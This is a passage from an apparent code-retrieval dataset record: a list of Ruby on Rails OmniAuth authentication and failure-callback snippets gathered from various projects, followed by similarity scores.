authentication.foreign_profile.send(\"import_#{provider}\",omniauth)\n \n #redirect back to where you came from\n #\n \n\n if current_user.get_invited_status() == true\n enable_hash = {\n :user_id => current_user.id,\n :provider => provider,\n :uid => uid\n } \n current_user.enable_service(enable_hash)\n end\n redirect_to session[:return_to] || '/'\n \n else\n Rails.logger.info(\"[CNTRL][Authentications] #{current_user.full_name} already has auth for #{provider}\")\n if current_user.get_invited_status() == true\n enable_hash = {\n :user_id => current_user.id,\n :provider => provider,\n :uid => uid\n }\n current_user.enable_service(enable_hash)\n end\n redirect_to session[:return_to] || '/'\n end\n else\n # New authentication for no signed in user\n Rails.logger.info(\"[CNTRL][Authentications] User is not signed in but auth is new.\")\n\n authentication = Authentication.create( :provider => provider,\n :uid => uid,\n :token=> omniauth['credentials']['token'],\n :secret=> omniauth['credentials']['secret'])\n\n\n Rails.logger.info(\"[CNTRL][Authentications] New foreign profile to cache for new auth no signin.\")\n authentication.foreign_profile = ForeignProfile.new\n authentication.foreign_profile.send(\"import_#{provider}\",omniauth)\n\n\n query_hash = {}\n query_hash[provider] = uid\n \n invite_status = Invite.check_if_invite_exists(query_hash)\n if invite_status \n Invite.mark_invite_accepted(provider, uid)\n end\n\n Rails.logger.info(\"[CNTRL][Authentications] Redirecting to auth signup page.\")\n #if validation does not exist and user is not signed in do not allow access\n\n redirect_to :controller => 'authentications',\n :action => 'auth_signup_provider',\n :provider => provider,\n :uid => uid,\n :key => authentication.salt\n\n end\n else\n #save latest auth token\n Rails.logger.info(\"[CNTRL][Authentications] Renew credentials for an existing auth\")\n already_existing_auth.token = omniauth['credentials']['token']\n already_existing_auth.secret = omniauth['credentials']['secret']\n\n if user_signed_in?\n Rails.logger.info(\"[CNTRL][Authentications] User already signed in for a new auth.\")\n if already_existing_auth.user_id.nil?\n Rails.logger.info(\"[CNTRL][Authentications] User is being connected to auth\")\n already_existing_auth.user_id = current_user.id\n already_existing_auth.save!\n \n if current_user.get_invited_status() == true\n enable_hash = {\n :user_id => current_user.id,\n :provider => provider,\n :uid => uid\n }\n current_user.enable_service(enable_hash) \n end\n\n redirect_to session[:return_to] || '/'\n else\n\n if already_existing_auth.user_id == current_user.id\n Rails.logger.info(\"[CNTRL][Authentications] Auth token being updated for user\")\n already_existing_auth.save!\n end\n Rails.logger.info(\"[CNTRL][Authentications] Going back to where we came from\")\n enable_hash = {\n :user_id => current_user.id,\n :provider => provider,\n :uid => uid\n }\n current_user.enable_service(enable_hash) \n redirect_to session[:return_to] || '/'\n end\n else\n Rails.logger.info(\"[CNTRL][Authentications] A new auth and user is not signed in.\")\n if already_existing_auth.user_id.nil?\n Rails.logger.info(\"[CNTRL][Authentications] Auth is not associated to any user.\")\n already_existing_auth.save!\n\n Rails.logger.info(\"[CNTRL][Authentications] Foreign profile being saved for auth.\")\n already_existing_auth.foreign_profile = ForeignProfile.new\n Rails.logger.info(\"[CNTRL][Authentications] Foreign profile import method call.\")\n already_existing_auth.foreign_profile.send(\"import_#{provider}\",omniauth)\n \n\n Rails.logger.info(\"[CNTRL][Authentications] Redirecting to auth sign in\")\n redirect_to :controller => 'authentications',\n :action => 'auth_signup_provider',\n :provider => provider,\n :uid => uid,\n :key => already_existing_auth.salt\n\n else\n # I know the user, allow him to get in\n Rails.logger.info(\"[CNTRL][Authentications] Known auth, user sign in [user id : #{already_existing_auth.user_id}]\")\n \n if already_existing_auth.user.user_type == AppConstants.user_type_crawled \n Rails.logger.info(\"[CNTRL][Authentications] Cache the new foreign profile\")\n already_existing_auth.foreign_profile = ForeignProfile.new\n already_existing_auth.foreign_profile.send(\"import_#{provider}\",omniauth)\n already_existing_auth.save!\n\n redirect_to :controller => 'authentications',\n :action => 'auth_signup_provider',\n :provider => provider,\n :uid => uid,\n :key => already_existing_auth.salt\n return\n end\n\n\n already_existing_auth.save!\n \n invite_status = already_existing_auth.user.get_invited_status \n if invite_status \n enable_hash = {\n :user_id => already_existing_auth.user.id,\n :provider => provider,\n :uid => uid\n }\n already_existing_auth.user.enable_service(enable_hash) \n end\n sign_in_and_redirect(:user, already_existing_auth.user)\n end\n end\n end\n rescue => e\n Rails.logger.error(\"[CNTRL][Authentications] Save raised exception : #{e}\")\n redirect_to \"/\"\n end",
"def after_custom_authentication; end",
"def provider\n SwitchUser::Provider.init(self)\n end",
"def after_create_account(user, auth)\n # not required\n end",
"def test_omniauth_add_on_tests\n run_hoboken(:generate) do\n bin_path = File.expand_path('../../bin/hoboken', __dir__)\n execute(\"(echo 'twitter' && echo '0.0.1') | #{bin_path} add:omniauth\")\n assert_file('test/unit/app_test.rb', <<-CODE\n setup do\n OmniAuth.config.test_mode = true\n end\n\n test 'GET /login' do\n get '/login'\n assert_equal('<a href=\"/auth/twitter\">Login</a>', last_response.body)\n end\n\n test 'GET /auth/twitter/callback' do\n auth_hash = {\n provider: 'twitter',\n uid: '123545',\n info: {\n name: 'John Doe'\n }\n }\n\n OmniAuth.config.mock_auth[:twitter] = auth_hash\n get '/auth/twitter/callback'\n assert_equal(MultiJson.encode(auth_hash), last_response.body)\n end\n\n test 'GET /auth/failure' do\n OmniAuth.config.mock_auth[:twitter] = :invalid_credentials\n get '/auth/failure'\n assert_response :not_authorized\n end\n\n CODE\n )\n end\n end",
"def associate_auth(source)\n return if user_authentications.where(:provider => source['provider'], :uid => source['uid'].to_s).count > 0\n self.user_authentications.create!(:provider => source['provider'], :uid => source['uid'], :nickname => source[\"user_info\"]['nickname'])\n end",
"def post_setup\n end",
"def action_missing(provider)\n auth = request.env[\"omniauth.auth\"]\n\n # provider-specific tweaks to standard omniauth hash\n case provider\n when \"cas\"\n auth.info.name = auth.extra.name\n auth.info.email = auth.extra.email\n end\n\n @user = User.from_omniauth(auth)\n\n if @user.persisted?\n sign_in_and_redirect @user, :event => :authentication\n else\n session[\"devise.#{provider}_data\"] = request.env[\"omniauth.auth\"]\n flash[:alert] = @user.errors.map{ |k,v| \"#{k}: #{v}\"}.join(\"<br />\").html_safe || \"Error signing in with #{provider}\"\n redirect_to root_path\n end\n end",
"def callback_phase\n options.client_options[:access_token_path] = \"/oauth/qzoneoauth_access_token?oauth_vericode=#{request['oauth_vericode'] }\" if request['oauth_vericode']\n super\n end",
"def create_omniauth\n omniauth_params = request.env['omniauth.params']\n org_uid = omniauth_params['state'] if omniauth_params\n response = request.env['omniauth.auth']\n\n return redirect_to root_url unless is_admin && org_uid && response\n\n shop_name = response.uid\n current_organization.from_omniauth(response)\n\n current_organization.instance_url = \"https://#{shop_name}/admin\"\n\n unless current_organization.save\n flash[:alert] = \"Oops, your account could not be linked. #{format_errors(current_organization)}\"\n return redirect_to root_url\n end\n\n token = response['credentials']['token']\n session[:show_popup] = !is_same_currency\n\n Shopify::Webhooks::WebhooksManager.queue_create_webhooks(org_uid, shop_name, token)\n redirect_to root_url\n\n rescue Shopify::Webhooks::WebhooksManager::CreationFailed => e\n Maestrano::Connector::Rails::ConnectorLogger.log('warn', current_organization, \"Webhooks could not be created: #{e}\")\n redirect_to root_url\n end",
"def apply_omniauth(auth)\n # In previous omniauth, 'user_info' was used in place of 'raw_info'\n self.email = auth['extra']['raw_info']['email']\n # Again, saving token is optional. If you haven't created the column in authentications table, this will fail\n authentications.build(:provider => auth['provider'], :uid => auth['uid'], :token => auth['credentials']['token'])\n end",
"def oauth\n login_at(auth_params[:provider])\n end",
"def oauth\n login_at(auth_params[:provider])\n end",
"def create\n @omniauth = request.env[\"omniauth.auth\"]\n \n authentication = Authentications.find_by_provider_and_uid(@omniauth['provider'], @omniauth['uid'])\n\n if(@@logingIn ==0) \n registering(authentication)\n elsif(@@logingIn ==1)\n signingIn(authentication)\n end\n\nend",
"def configure_omniauth_mock(cassette = 'github_login')\n OmniAuth.config.test_mode = true\n OmniAuth.config.add_mock(:github, omniauth_hash(cassette))\n end",
"def setup_information\n Repo.from_omniauth(get_repos, self.id, self.collected_repo_keys)\n Organization.from_omniauth(get_organizations, self.id, self.collected_org_keys)\n self.set_skills(get_repos)\n end",
"def omniauthclone omniauthable, auth=nil\n PROVIDERS.reject{|p| p == auth}.each do |provider|\n unless self.send(\"#{provider}?\")\n if omniauthable.send(\"#{provider}?\")\n self[\"#{auth.provider}_uid\"] = omniauthable[\"#{auth.provider}_uid\"]\n self[\"#{auth.provider}_auth\"] = omniauthable[\"#{auth.provider}_auth\"]\n self.save\n end\n end\n end\n end",
"def after_custom_authentication\n\n end",
"def initialize(secret_provider, &on_complete)\n\t\t\tsuper &on_complete\n\t\t\t@secret_provider = secret_provider\n\t\tend",
"def create\n\t # get the authentication parameter from the Rails router\n\t params[:provider] ? authentication_route = params[:provider] : authentication_route = 'No authentication recognized (invalid callback)'\n\n\t # get the full hash from omniauth\n\t omniauth = request.env['omniauth.auth']\n\t \n\t # continue only if hash and parameter exist\n\t if omniauth and params[:provider] == 'identity'\n\t # in the session his user id and the authentication id used for signing in is stored\n\t session[:identity] = omniauth['uid']\n\t redirect_to root_url, :notice => \"Signed in successfully.\"\n\t \n\t elsif omniauth and params[:provider]\n\t # create a new hash\n\t @authhash = Hash.new\n\t if authentication_route == 'google_oauth2'\n\t omniauth['info']['email'] ? @authhash[:email] = omniauth['info']['email'] : @authhash[:email] = ''\n\t omniauth['info']['name'] ? @authhash[:name] = omniauth['info']['name'] : @authhash[:name] = ''\n\t omniauth['uid'] ? @authhash[:uid] = omniauth['uid'].to_s : @authhash[:uid] = ''\n\t omniauth['provider'] ? @authhash[:provider] = omniauth['provider'] : @authhash[:provider] = ''\n\t else \n\t # debug to output the hash that has been returned when adding new authentications\n\t render :text => omniauth.to_yaml\n\t return\n\t end\n\t \n\t if @authhash[:uid] != '' and @authhash[:provider] != ''\n\t auth = Authentication.find_by_provider_and_uid(@authhash[:provider], @authhash[:uid])\n\t # if the user is currently signed in, he/she might want to add another account to signin\n\t if logged_in?\n\t if auth\n\t flash[:notice] = 'Your account at ' + @authhash[:provider].capitalize + ' is already connected with this site.'\n\t redirect_to authentications_path\n\t else\n\t current_user.authentications.create!(:provider => @authhash[:provider], :uid => @authhash[:uid], :uname => @authhash[:name], :uemail => @authhash[:email])\n\t flash[:notice] = 'Your ' + @authhash[:provider].capitalize + ' account has been added for signing in at this site.'\n\t redirect_to authentications_path\n\t end\n\t else\n\t if auth\n\t # signin existing user\n\t # in the session his user id and the authentication id used for signing in is stored\n\t session[:user] = auth.user.id\n\t session[:authentication_id] = auth.id\n\t \n\t flash[:notice] = 'Signed in successfully.'\n\t redirect_to root_url\n\t else\n\t # this is a new user; show signup; @authhash is available to the view and stored in the sesssion for creation of a new user\n\t if Rails.env == \"development\" or @authhash[:email].split('@').include?('intridea.com')\n\t session[:authhash] = @authhash\n\t render signup_authentications_path\n\t end\n\t # render signup_authentications_path\n\t end\n\t end\n\t else\n\t flash[:error] = 'Error while authenticating via ' + authentication_route + '/' + @authhash[:provider].capitalize + '. The authentication returned invalid data for the user id.'\n\t redirect_to login_path\n\t end\n\t else\n\t flash[:error] = 'Error while authenticating via ' + authentication_route.capitalize + '. The authentication did not return valid data.'\n\t redirect_to login_path\n\t end\n\t end",
"def set_auth\n @auth = session[:omniauth] if session[:omniauth]\n end",
"def setup\n @automator = ArmAutomator.instance\n create_test_user :login_id_prefix => \"test\", :external_user_id_suffix => \"@gmail.com\", :group => \"training\", :country => \"United States\"\n perform_login\n end",
"def request_phase\n # Stash the account into the session so that we\n # can trieve it during the callback.\n session['omniauth.zendesk.account'] = fetch_zendesk_account\n\n # Prep the urls using the account ID.\n # TODO: Could we use the :setup option and a Proc\n # to handle this rather than call here?\n set_omniauth_zendesk_urls\n\n # Continue the request as usual.\n super\n end",
"def auth_at_provider(provider)\n @provider = Config.send(provider)\n if @provider.respond_to?(:get_request_token)\n args = {:request_token => @provider.get_request_token} \n session[:request_token] = args[:request_token]\n end\n redirect_to @provider.authorize_url(args)\n end",
"def mock_auth\n OmniAuth.config.mock_auth[:facebook] = OmniAuth::AuthHash.new({\n provider: 'facebook',\n uid: '123545',\n person_id: '1',\n credentials: {\n token: 'token',\n expires_at: Time.now + 10000000\n },\n info: {\n first_name: 'first_name',\n last_name: 'last_name'\n }\n })\n end",
"def authorize_params\n super.tap do |params|\n provider = session['omniauth.params'].delete('provider') rescue nil\n params[:provider] = provider if provider\n\n service = session['omniauth.params'].delete('service') rescue nil\n params[:service] = service if service\n\n context = session['omniauth.params'].delete('context') rescue nil\n params[:context] = context if context\n end\n end",
"def set_omniauth_user(user)\n # Setup OmniAuth to return the correct metatda for this user.\n OmniAuth.config.add_mock(:twitter, {\n uid: user.uid,\n info: {\n name: user.name\n }\n })\n end",
"def oauth_authentication; end",
"def person_omniauth_authorize_path_or_url(provider)\n SecureUrlHelper.https? ? person_omniauth_authorize_url(provider, :protocol => 'https') : person_omniauth_authorize_path(provider)\n end",
"def url_to_social_login( provider_key, on_success = nil )\n provider = Aerogel::Auth.providers[provider_key] || {}\n origin = on_success || params['on_success']\n query_string = origin ? \"?origin=#{origin}\" : ''\n \"/auth/#{provider_key}#{query_string}\"\nend",
"def initialize\n super\n @strategy = :user\n end",
"def callback_phase # rubocop:disable AbcSize, CyclomaticComplexity, MethodLength, PerceivedComplexity\n super\n @env['omniauth.params'] = decode_jwt_state(session['omniauth.state'])\n end",
"def auth_as_user(user)\n OmniAuth.config.mock_auth[:google_oauth2] = OmniAuth::AuthHash.new({\n :provider => 'google_oauth2',\n :uid => user.uid,\n :email => user.email\n })\nend",
"def set_provider(login, password)\n gateway_options = options\n gateway_options.delete :login if gateway_options.has_key?(:login)\n gateway_options.delete :password if gateway_options.has_key?(:password)\n gateway_options[:login] = login\n gateway_options[:password] = password\n ActiveMerchant::Billing::Base.gateway_mode = gateway_options[:server].to_sym\n @provider ||= provider_class.new(gateway_options)\n end",
"def omniauth?\n provider? && uid?\n end",
"def setup\n activate_authlogic\n end",
"def initialize( * )\n\t\tsuper\n\t\t@auth_provider = self.class.auth_provider.new( self )\n\tend",
"def auth\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"params=#{params}\",\n \"\" ] if browse_everything_controller_debug_verbose\n # params contains the access code with with the key :code\n provider_session.token = provider.connect(params, provider_session.data, connector_response_url_options)\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"provider_session.token=#{provider_session.token}\",\n \"\" ] if browse_everything_controller_debug_verbose\n provider_session.token\n end",
"def oauth\n redirect_to \"#{root_path}auth/#{Setting['omniauth']['provider']}\"\n end",
"def callback_phase\n @user_info = get_user(@auth_token = fetch_auth_token(session['omniauth.ebay.session_id']))\n super\n end"
] |
[
"0.73006517",
"0.7193139",
"0.6808927",
"0.6621159",
"0.65283954",
"0.6527101",
"0.62718433",
"0.6267364",
"0.6242243",
"0.61745125",
"0.6172827",
"0.6151476",
"0.61464876",
"0.61355233",
"0.6134691",
"0.61205226",
"0.6083893",
"0.6047887",
"0.6046003",
"0.59811467",
"0.5973822",
"0.5956118",
"0.5932594",
"0.5929",
"0.5925033",
"0.5901261",
"0.58971703",
"0.585618",
"0.57955885",
"0.57940215",
"0.5718036",
"0.5715122",
"0.5709665",
"0.5701024",
"0.5701024",
"0.56969875",
"0.56543",
"0.56357",
"0.56343746",
"0.56281316",
"0.5627252",
"0.56267154",
"0.5620286",
"0.56094486",
"0.56033623",
"0.5596445",
"0.5591476",
"0.5582729",
"0.5580377",
"0.55608416",
"0.5552309",
"0.55510134",
"0.553946",
"0.5490257",
"0.5489265",
"0.5478087",
"0.54685515",
"0.54596967",
"0.5449298",
"0.54473394",
"0.54470974",
"0.5447011",
"0.5426437",
"0.54227316",
"0.5415836",
"0.54088503",
"0.54033095",
"0.54027134",
"0.5402423",
"0.54010797",
"0.53950554",
"0.5389505",
"0.5389505",
"0.5384977",
"0.53834313",
"0.5372186",
"0.5370207",
"0.53638256",
"0.53630733",
"0.53459895",
"0.5338672",
"0.532081",
"0.5316886",
"0.5300811",
"0.52999836",
"0.5287218",
"0.52840745",
"0.5283005",
"0.5276958",
"0.5276525",
"0.5269367",
"0.52570766",
"0.5245884",
"0.5236722",
"0.5232656",
"0.5232332",
"0.52322185",
"0.5213912",
"0.5211878",
"0.52116895"
] |
0.7395827
|
0
|
Callback from Omniauth failures
|
def failure
origin_locale = get_origin_locale(request, available_locales())
I18n.locale = origin_locale if origin_locale
error_message = params[:error_reason] || "login error"
kind = request.env["omniauth.error.strategy"].name.to_s || "Facebook"
flash[:error] = t("devise.omniauth_callbacks.failure",:kind => kind.humanize, :reason => error_message.humanize)
redirect_to search_path
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def fail\n render :text => request.env[\"omniauth.auth\"].to_yaml\n end",
"def on_failure!(response)\n session.authentication.errors.clear!\n session.authentication.errors.add(:openid, 'OpenID verification failed, maybe the provider is down? Or the session timed out')\n nil\n end",
"def default_oauth_fail\n auth = request.env['omniauth.auth']\n session.delete(\"devise.#{auth.provider.to_s}_data\")\n flash[:alert] = @user.errors.to_a[0] if @user.errors\n redirect_to auth.fail_redirect\n end",
"def after_omniauth_failure_path_for(scope)\n super(scope)\n end",
"def no_user_with_facebook_uid_or_email_attempt\n warden.custom_failure!\n render :status => 401,\n :json => { :errors => \"User with specified facebook uid or email is not found\", code: 16 },\n :success => false\n end",
"def callback_failure\n flash[:error] = I18n.t(:connection_failure)\n\t redirect_to root_url\n\tend",
"def failure\n network = session.delete(:signup_flow_network)\n if params[:message] == 'invalid_credentials'\n scope = session.delete(:signup_flow_scope)\n lambda = network ? Network.klass(network).auth_failure_lambda(scope: scope) : nil\n if lambda && current_user\n lambda.call(current_user)\n set_flash_message(:notice, Network.klass(network).auth_failure_message(scope: scope))\n else\n # When we try to connect the user and fail because the connection was cancelled (ie. we're denied permission\n # by user), we show the signup modal on load with the alert inside the modal rather than float at top of page.\n session[:hide_global_flash] = session[:show_signup_alert] = true\n session[:force_auth] = :immediate\n set_flash_message(:alert, :cancelled)\n end\n else\n msg = \"Network connection failure for user #{current_user ? current_user.person_id : 'unregistered user'}: #{params[:message]}\"\n logger.error(msg)\n if e = request.env['omniauth.error']\n log_stack_trace(e)\n end\n set_flash_message(:alert, :error_communicating)\n end\n respond_to do |format|\n format.html { redirect_to session.delete(:signup_flow_destination) || request.env['omniauth.origin'] || root_path }\n format.json { render_jsend(error: :external_service_failed) }\n end\n end",
"def omniauth(provider, *args); end",
"def failure\n redirect_to root_url, alert: \"identity failed, please try again.\"\n end",
"def auth_fail\n fail(Kankri::AuthenticationFailure)\n end",
"def failure\n flash.alert = 'Failed to authorize Twitter account.'\n redirect_to twitter_accounts_url\n end",
"def failure\n redirect_to root_url, alert: 'Twitter authentication denied.'\n end",
"def failure\n msg_returned = request.params['message']\n login_failed msg_returned.nil? ? 'Auth0 login failed.' : msg_returned\n end",
"def failure\n\n\t\t# do a clever redirect here!\n\t\tredirect_to root_url, :notice => \"Failed Authentication\"\n\n\tend",
"def auth_fail(*args, &blk)\n block_given? ? @auth_fail_cbs << blk : @auth_fails.push(args)\n while (fail_data = @auth_fails.shift)\n @auth_fail_cbs.each { |cb| cb.call(*fail_data) }\n end\n end",
"def handle_errored_login(code)\n Log.error(\"error code #{code}.\")\n end",
"def invalid_login_attempt\n warden.custom_failure!\n render :json => {success: false, message: \"Error with your email or password\"}, status: 401\n end",
"def failure\n\t\tredirect_to(@@extension_url + '?access_token=' + 'failure')\n\tend",
"def handle_failed_login\n Log.error(\"failure.\")\n end",
"def auth_error(e)\n json_response({ message: e.message }, :unprocessable_entity)\n end",
"def note_failed_signin\n flash[:error] = \"Couldn't log you in as '#{params[:openid_identifier]}'\"\n logger.warn \"Failed login for '#{params[:openid_identifier]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end",
"def auth_failure\n redirect_to '/', :alert => params[:message]\nend",
"def failure\n flash[:error] = 'There was a problem signing you in. Please register or try signing in later.' \n redirect_to new_user_session_url\n end",
"def on_registration_failure(connection, message)\n end",
"def register_failure_callback(callback)\n @duty_failure_callback = callback\n end",
"def validate_callback(params)\n if params[:error].present?\n raise AuthError.new(\"validate_callback: #{params[:error]}\", DATASOURCE_NAME)\n end\n\n if params[:code]\n validate_auth_code(params[:code])\n else\n raise AuthError.new('validate_callback: Missing authorization code', DATASOURCE_NAME)\n end\n end",
"def on_failure(object, *args); end",
"def failure\n redirect_to new_user_session_path, alert: \"無法取得認證!\"\n end",
"def auth_failed(response)\n response && response.code == 401\n end",
"def authentication_error\n # User's token is either invalid or not in the right format\n render 'api/v1/shared/failure', locals: { errors: [{ user: ['is unauthorized'] }] }, status: :unauthorized # Authentication timeout\n end",
"def auth_failure\n logger.warn \"[SESS] auth failure: #{params[:message]}\"\n redirect_to new_session_path\n end",
"def callback\n\n\n # Access the authentication hash for omniauth\n data = request.env['omniauth.auth']\n\n # Temporary for testing!\n render json: data.to_json\n\n\n # Access the authentication hash for omniauth\n # data = request.env['omniauth.auth']\n\n # microsoft_email_address = data.dig(:extra, :raw_info, :mail) || data.dig(:extra, :raw_info, :userPrincipalName)\n\n # if user_account = UserAccount.find_by(email: microsoft_email_address)\n # session[:user_account_id] = user_account.id\n # if session[:previously_requested_page]\n # last_page = session[:previously_requested_page]\n # session.delete(:previously_requested_page)\n # redirect_to last_page\n # else\n # redirect_to root_path\n # end\n # else\n # redirect_to new_session_path, notice: \"An account could not be found for #{microsoft_email_address}.\"\n # end\n end",
"def oauth_config_failure(message:)\n OmniAuth.config.mock_auth[:idme] = nil # reset mock \n OmniAuth.config.mock_auth[:idme] = message\nend",
"def failure\n render :json => {:success => false, :errors => {:reason => \"Login failed. Try again\"}}, :status => 401\n end",
"def failure\n redirect_to new_user_registration_url, notice: 'something went wrong!'\n end",
"def on_failure( &block )\n @on_failure = block\n end",
"def failed_auth(msg)\n log_to_rollbar(msg) if defined?(Rollbar)\n DeviseSamlAuthenticatable::Logger.send(msg)\n fail!(error_message.html_safe)\n Devise.saml_failed_callback.new.handle(@response, self) if Devise.saml_failed_callback # rubocop:disable Style/SafeNavigation\n end",
"def on_failure(&block)\n apply_hook(:failure, &block)\n end",
"def rescue_api_error\n session.delete(:access_token)\n\t session.delete(:individual_user_id)\n\t oauth = Koala::Facebook::OAuth.new(APP_ID, APP_SECRET, AUTH_CALLBACK)\n\t redirect_to(:action => \"exit_portal\", :url => oauth.url_for_oauth_code)\n end",
"def render_failed_auth_response\n render status: 401,\n json: json_response(:fail, data: {user: \"Valid email and token must be present.\"})\n end",
"def after_failed_sign_in\n flash[:error] = _('Something went wrong. Please try again.')\n redirect_to root_path\n end",
"def invalid_login_attempt\n set_flash_message(:error, :invalid)\n render json: flash[:error], status: 401\n end",
"def default_oauth_callback(&on_fail)\n auth = request.env['omniauth.auth']\n\n @user = User.send(\"find_for_#{auth.provider.to_s}_oauth\", auth, current_user)\n unless @user.persisted?\n # save oauth data if user creation failed\n session[\"devise.#{auth.provider.to_s}_data\"] = auth.except(:extra)\n end\n auth.fail_redirect ||= new_user_registration_path\n\n unless handle_oauth_login\n if on_fail\n yield auth\n else\n default_oauth_fail\n end\n end\n end",
"def after_omniauth_failure_path_for(resource)\n root_path\n end",
"def invalid_login_attempt\n warden.custom_failure!\n json_response({ success: false, message: \"Username/Password incorrect.\" }, 400)\n end",
"def authentication_error\n # User's token is either invalid or not in the right format\n render json: {error: t('unauthorized')}, status: 401 # Authentication timeout\n end",
"def authentication_error\n # User's token is either invalid or not in the right format\n render json: {error: t('unauthorized')}, status: 401 # Authentication timeout\n end",
"def authentication_error\n # User's token is either invalid or not in the right format\n render json: {error: t('unauthorized')}, status: 401 # Authentication timeout\n end",
"def do_failure; end",
"def authentication_error\n # User's token is either invalid or not in the right format\n render json: {error: t('unauthorized')}, status: 401 # Authentication timeout\n end",
"def note_failed_signin\r\n flash[:error] = \"Couldn't log you in as '#{params[:email]}'. Check your email or password.\"\r\n logger.warn \"Failed login for '#{params[:email]}' from #{request.remote_ip} at #{Time.now.utc}\"\r\n end",
"def authentication_error\n # User's token is either invalid or not in the right format\n render json: {error: 'unauthorized'}, status: 401 # Authentication timeout\n end",
"def status_fail!()\n @status = TAC_PLUS_AUTHEN_STATUS_FAIL\n end",
"def note_failed_signin\n error_status(true, :login_failure, {}, false)\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end",
"def note_failed_signin\n flash[:error] = t('labels.name_or_password_error')\n logger.warn \"Failed login for '#{params[:email]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end",
"def note_failed_signin\n flash.now[:error] = \"Usuário ou senha inválida\"\n logger.warn \"Falha no login do usuario '#{params[:login]}' através do IP #{request.remote_ip} às #{Time.now.utc}\"\n end",
"def failure\n flash[:error] = \"There was a problem authenticating your PIV.\" # params.permit(:message)[:message] is not helpful UX\n redirect_to url_for_sso_host(\"/login\")\n end",
"def note_failed_signin\n flash[:error] = \"Couldn't log you in as '#{params[:email]}'\"\n logger.warn \"Failed login for '#{params[:email]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end",
"def note_failed_signin\n flash[:error] = \"Couldn't log you in as '#{params[:email]}'\"\n logger.warn \"Failed login for '#{params[:email]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end",
"def on_failure(request, result)\n failure_chain.call(request.error(output(request, result)))\n end",
"def failure\n redirect_to login_path,\n alert: \"Authentication failed, please try again.\"\n end",
"def after_failed\n end",
"def auth_failed\n message = params.dig(\"message\") || \"incorrect username and/or password\"\n message = \"Login failed: #{message}\"\n if request.xhr?\n render plain: message, status: :unauthorized\n else\n flash['error'] = message\n redirect_to return_url, allow_other_host: true\n end\n end",
"def invalid_login_attempt\n \n set_flash_message(:alert, :invalid)\n data = {:code => \"NOK\"}\n render json: data \n # render json: flash[:alert], status: 401\n end",
"def failure\n return render json: {:message => \"Login Failed\" }, :status => :bad_request\n end",
"def check_for_error(res)\n body = res.parsed_response\n raise ValidationError.new(body), \"Authentication failed\\n status code: \\\"#{res.code}\\\"\\n message: \\\"#{body['error']}\\\"\" if res.code != 200\n end",
"def failure\n redirect_to :back, flash: { danger: 'Not authorized.' }\n end",
"def post_fail_message; end",
"def redirect_callbacks\n setup_env_params\n\n session['dta.omniauth.auth'] = request.env['omniauth.auth']\n .except('extra')\n session['dta.omniauth.params'] = omniauth_params\n tweak_session_attrs\n has_params = session['dta.omniauth.params']\n\n redirect_to action: has_params ? 'omniauth_success' : 'omniauth_failure'\n end",
"def note_failed_signin\n flash[:error] = \"用户名或密码错误!\"\n logger.warn \"Failed login for '#{params[:email]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end",
"def failure\n render json: {error: 'Token is invalid.', messages: params},:status => :unauthorized\n end",
"def fail_to_post_im\n redirect_to user_session_path, notice: \"Nickname is not valid!\"\n end",
"def after_omniauth_failure_path_for(_scope)\n\t\tnew_users_session_path\n\tend",
"def note_failed_signin\n flash[:error] = \"Vous ne pouvez pas vous connecter en tant que '#{params[:login]}'\"\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end",
"def failure\n flash[:error] = \"Could not authenticate with #{params[:strategy]}\"\n return redirect_to \"/\"\n end",
"def status_error!()\n @status = TAC_PLUS_AUTHEN_STATUS_ERROR\n end",
"def twitter_failure\n\t if I18n.locale == :en\n\t \tflash[:notice] = \"Failed to connect to Twitter\"\n\t else I18n.locale == :ar\n\t \tflash[:notice] = \"فشل التواصل مع تويتر بنجاح\"\n\t end\n\t redirect_to root_url\n\tend",
"def do_token_fail(ticket, reason)\n # Call Authlete's /auth/token/fail API.\n response = call_token_fail_api(ticket, reason)\n\n # The content of the response to the client.\n content = response[\"responseContent\"]\n\n # \"action\" denotes the next action.\n case response[\"action\"]\n when \"INTERNAL_SERVER_ERROR\"\n # 500 Internal Server Error\n # The API request from this implementation was wrong\n # or an error occurred in Authlete.\n return WebResponse.new(500, content).json.to_response\n\n when \"BAD_REQUEST\"\n # 400 Bad Request\n # Authlete successfully generated an error response\n # for the client application.\n return WebResponse.new(400, content).json.to_response\n\n else\n # This never happens.\n return WebResponse.new(500, \"Unknown action\").plain.to_response\n end\nend",
"def on_failure(exception)\n raise NotImplementedError\n end",
"def callback\n # This stores all the user information that came from Auth0\n # and the IdP\n userinfo = request.env['omniauth.auth']\n\n begin\n result = SessionService.process!(userinfo, session)\n\n if result.new_user?\n redirect_to welcome_path\n else\n # Redirect to the URL you want after successful auth\n redirect_to services_path,\n flash: {\n success: I18n.t(:welcome_html, scope: [:auth, :existing_user])\n }\n end\n rescue SignupNotAllowedError\n # no new user or existing user, so they weren't allowed to sign up\n redirect_to signup_not_allowed_path\n end\n end",
"def note_failed_signin\r\n flash[:error] = \" Invalid user/password combination.\"\r\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\r\n end",
"def note_failed_signin\n flash[:error] = \"Não foi possível fazer seu login. Redigite seu e-mail e sua senha. As senhas do Cidade Democrática distinguem maiúsculas de minúsculas.\"\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end",
"def failure\n redirect_to login_path, notice: \"Sorry, something went wrong. Please try logging in again.\"\n end",
"def failure\n redirect_to login_path, notice: \"Sorry, something went wrong. Please try logging in again.\"\n end",
"def note_failed_signin\n flash[:error] = \"Impossible de vous connecter en tant que '#{params[:login]}'\"\n flash[:notice] = \"Peut être ne vous êtes vous pas encore inscrit\"\n logger.warn \"Authentification échoué en tant que '#{params[:login]}' pour #{request.remote_ip} à #{Time.now.utc}\"\n end",
